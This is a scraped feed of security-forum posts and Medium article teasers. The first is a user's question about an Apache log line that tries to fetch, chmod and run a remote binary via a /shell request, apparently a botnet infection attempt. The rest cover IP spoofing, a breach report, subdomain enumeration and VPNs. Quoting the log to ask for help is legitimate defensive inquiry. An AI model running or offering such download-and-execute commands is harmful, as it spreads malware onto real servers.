hacking: security in practice
Did someone tried to exploit my Apache server?

In the span of the last 2 weeks I got 9 of these weir HTTP requests to my Apache web server

​

x.x.x.x - - [xx/May/2022:xx:xx:xx +xxxx] "GET /shell?cd+/tmp;+wget+http:/\\/x.x.x.x/FKKK/NW_BBBarm;+chmod+777+NW_BBBarm;+./NW_BBBarm Jaws.Selfrep;rm+-rf+NW_BBBarm" 400 486 "-" "-"

​

Any ideas if it's trying to exploit some known vulnerability?

submitted by /u/Wengiel31
[link] [comments]

hacking: security in practice
Disguise your IP address to one of your choosing?

So, to make this a bit more clear. I'm not simply talking about implementing a VPN while browsing or doing other staff. I'm asking if there's a way to disguise your IP address to something unique that you chose. Like, is there a program or an advanced VPN service that can allow you to actually "choose" your IP? Example: Your current IP address is 127.0.0.1 and when accessing a server or an application that's the IP that will show up to them. Now, say that you want them to see 127.0.0.3 as the visitor's IP address.. Is there a way I can actually manage to accomplish that? I mean not only to spoof my IP, but do so to the very own that you desire at the time..?

I feel like a should know the answer to this already (and the answer is probably no) but I figured it's worth asking and if someone knows it would be on this sub.

Thanks guys! I'm really curious on this one.

submitted by /u/TheN1ght0w1
[link] [comments]

hacking: security in practice
DEA Investigating Breach of Law Enforcement Data Portal

https://external-preview.redd.it/FT-JNmsiSHvG9OUScqH7Edwqa0hcBG2j3b5BOZ-I1jg.jpg?width=320&crop=smart&auto=webp&s=387f7b1574ee27e8c6bebd12c3ab524e0f0635c9 submitted by /u/DrinkMoreCodeMore
[link] [comments]

Passive/Active Information Gathering: Subdomain Enumeration
https://medium.com/@fath3ad.22/passive-active-information-gathering-subdomain-enumeration-e5538c3d3ecc?source=rss------bug_bounty-5

This post is design to share some of the information I’ve learned while working through the Information Gathering- Web Edition module in…Continue reading on Medium » (https://medium.com/@fath3ad.22/passive-active-information-gathering-subdomain-enumeration-e5538c3d3ecc?source=rss------bug_bounty-5)

How To Handle The Aftermath Of A Cyber Attack
https://0xshakhawat.medium.com/how-to-handle-the-aftermath-of-a-cyber-attack-be12da016e24?source=rss------bug_bounty-5

Once a breach or an attack happens, the company should try to resolve the
 issue in 30 days or less. During that time, the team should…Continue reading on Medium » (https://0xshakhawat.medium.com/how-to-handle-the-aftermath-of-a-cyber-attack-be12da016e24?source=rss------bug_bounty-5)

Deep Web
best VPN out there

Looking for your VPN recommendations! Let me know your favorite one!

submitted by /u/fastfunds
[link] [comments]

AI Can Write Code Like Humans — Bugs and All
https://medium.com/@tunewearsnepal/ai-can-write-code-like-humans-bugs-and-all-9ba5faf992a9?source=rss------bug_bounty-5

New tools that help developers write software also generate similar mistakes.Continue reading on Medium » (https://medium.com/@tunewearsnepal/ai-can-write-code-like-humans-bugs-and-all-9ba5faf992a9?source=rss------bug_bounty-5)

AI Can Write Code Like Humans — Bugs and All

New tools that help developers write software also generate similar mistakes.Continue reading on Medium »
Read more...